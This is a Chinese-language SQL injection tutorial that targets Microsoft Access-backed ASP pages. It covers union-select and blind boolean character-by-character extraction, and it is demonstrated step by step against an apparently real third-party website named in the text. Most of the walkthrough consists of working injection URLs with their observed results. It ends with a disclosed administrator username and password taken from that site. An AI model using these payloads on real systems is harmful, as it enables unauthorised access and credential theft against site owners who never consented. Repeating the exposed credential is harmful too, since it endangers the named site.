ACCESS全称Microsoft Office Access,是由微软发布的关系数据库管理系统。
Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。
一、URL的组成
协议://主机/文件[参数]
以这个网址为例:http://www.bikingdee.net/newsshow.asp?id=131
- http是协议名,https也是协议名
- www.bikingdee.net 主机名
- newsshow.asp 文件名
- ?id=131 参数
当然,也是有没有参数的url,例如:http://www.bikingdee.net/admin.asp
二、访问网页的流程
客户端向服务器发送一次请求 -> 向服务端发送数据包 -> 服务端接收解析数据包 -> 返回页面
三、什么是注入点?
1、有参数传递
2、带入数据库查询
3、返回显示
四、SQL注入原理
对用户传递来的参数未进行过滤导致恶意SQL语句被执行的结果。
五、从源码看SQL注入
以下是我提前准备好了源代码,大家可以简单的看一下,如下图:
从上图可以得到,这样一个判断:
当我们正常访问:http://www.bikingdee.net/newsshow.asp?id=131
可以执行SQL注入语句:select * from news where N_id=131 and 查询管理员账号密码
六、实战 access“联合查询”注入
还是以这个网址:http://www.bikingdee.net/newsshow.asp?id=131 为例子。
1、判断注入:'报错,and 1=1 和 and 1=2
正常SQL语句:select * from news where N_id=131
注意:单引号需要在英文状态下输入:'
加'后的sql语句:select * from news where N_id=131'
and 1=1:select * from news where N_id=131 and 1=1 (返回正常)
and 1=2:select * from news where N_id=131 and 1=2 (返回 错误)
2、查询字段个数:order by
注意:这里的字段个数指的是是连接当前页的字段数;
此页面结果是:
http://www.bikingdee.net/newsshow.asp?id=131 order by 15 (返回正常)
http://www.bikingdee.net/newsshow.asp?id=131 order by 16 (返回错误)
这就说明:连接当前页面的数据库中有15个字段。
注意:、
http://www.bikingdee.net/msoftwareshow.asp?id=25 这个页面的字段数却是34个。
同一个网站管理员账号密码所在表应该是同一个表,如果 order by 是查询管理员账号密码表的字段数的话,两个页面 order by查询到的字段数应该是相同的。
3、联合查询法猜表名:union
http://www.bikingdee.net/newsshow.asp?id=131 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from admin
我这里是猜对了,如果admin表不存在就会报错,可以再输入其它的命字来猜表名。
这里再给大家讲一点基础知识:
什么是显位?
显位就是能将字段中的数据报岀来的位置,将我们的列名放到显位上,如果列名存在,就可以爆出数据。
4、猜列名爆数据
将我们猜的列名放到显位上,如果列名存在,就可以爆出数据;如果列名不存在则会报错。
根据我的测试,显位分别是3和5,因此猜列名如下:
显位3 猜 管理员用户 爆数据:
http://www.bikingdee.net/newsshow.asp?id=131 union select 1,2,adminuser,4,5,6,7,8,9,10,11,12,13,14,15 from admin
显位5 猜 管理员密码 爆数据:
http://www.bikingdee.net/newsshow.asp?id=131 union select 1,2,adminuser,4,password,6,7,8,9,10,11,12,13,14,15 from admin
从而得到,账号: admin 密码: 9kingxaw85deedxd2
七、实战 access“逐字猜解法”注入
这次我们重新换一个页面,以 http://www.bikingdee.net/news.asp?id=5 页面为准了。
1、判断注入点:and 1=1 和 and 1=2
http://www.bikingdee.net/news.asp?id=5 and 1=1 (返回正常)
http://www.bikingdee.net/news.asp?id=5 and 1=2 (返回错误)
2、查当前页面连接的数据库的字段数:order by
http://www.bikingdee.net/news.asp?id=5 order by 1 (直接报错,order by不能用了!)
遇到这种情况又应该怎么办呢?请继续向下看:
3、逐字猜解法(适用于 order by 不能用的地方)
猜表名:and exists(select * from 表名)
http://www.bikingdee.net/news.asp?id=5 and exists(select * from admin)
返回正常,说明admin表存在,如果报错误,说明表不存在。
猜列名:and exists(select 列名 from 表名)
猜管理员用户名:
http://www.bikingdee.net/news.asp?id=5 and exists(select adminuser from admin)
猜管理员密码:
http://www.bikingdee.net/news.asp?id=5 and exists(select password from admin)
猜字段中数据长度:and (select top 1 length(adminuser) from admin)>=5
http://www.bikingdee.net/news.asp?id=5 and (select top 1 length(adminuser) from admin)>=5
http://www.bikingdee.net/news.asp?id=5 and (select top 1 length(adminuser) from admin)<6
这里反回正常,说明:adminuser这个字段中数据的字符个数>=5 并且 <6,字段的数据字符个数为5。
爆列名内容:and (select top 1 asc(mid(列名,1,1))from admin)>=97
先猜第一位:
http://www.bikingdee.net/news.asp?id=5 and (select top 1 asc(mid(adminuser,1,1))from admin)>=97
返回正确,说明第一个字符的ascii大于等于97,我们可以去ASCII码对照表去查一下,97对应的就是a;
http://www.bikingdee.net/news.asp?id=5 and (select top 1 asc(mid(adminuser,1,1))from admin)>=98
返回错误,就说明:adminuser这个字段中的第一个字符的 ascii 值是97,也就是字母小写的a;
再猜第二位:and (select top 1 asc(mid(列名,2,1))from admin)>=97
http://www.bikingdee.net/news.asp?id=5 and (select top 1 asc(mid(adminuser,2,1))from admin)>=97
返回正常。
http://www.bikingdee.net/news.asp?id=5 and (select top 1 asc(mid(adminuser,2,1))from admin)>=100
返回正常。
http://www.bikingdee.net/news.asp?id=5 and (select top 1 asc(mid(adminuser,2,1))from admin)>=101
返回错误,就说明:adminuser这个字段中的第二个字符的 ascii 值是100,也就是字母小写的d;
再猜第三位,第四位,第五位,依次类推就可以了。
如果是用逐字猜解法猜密码的话,按照此方法原理一样的去进行就可以了,只需要把adminuser换成password就可以了。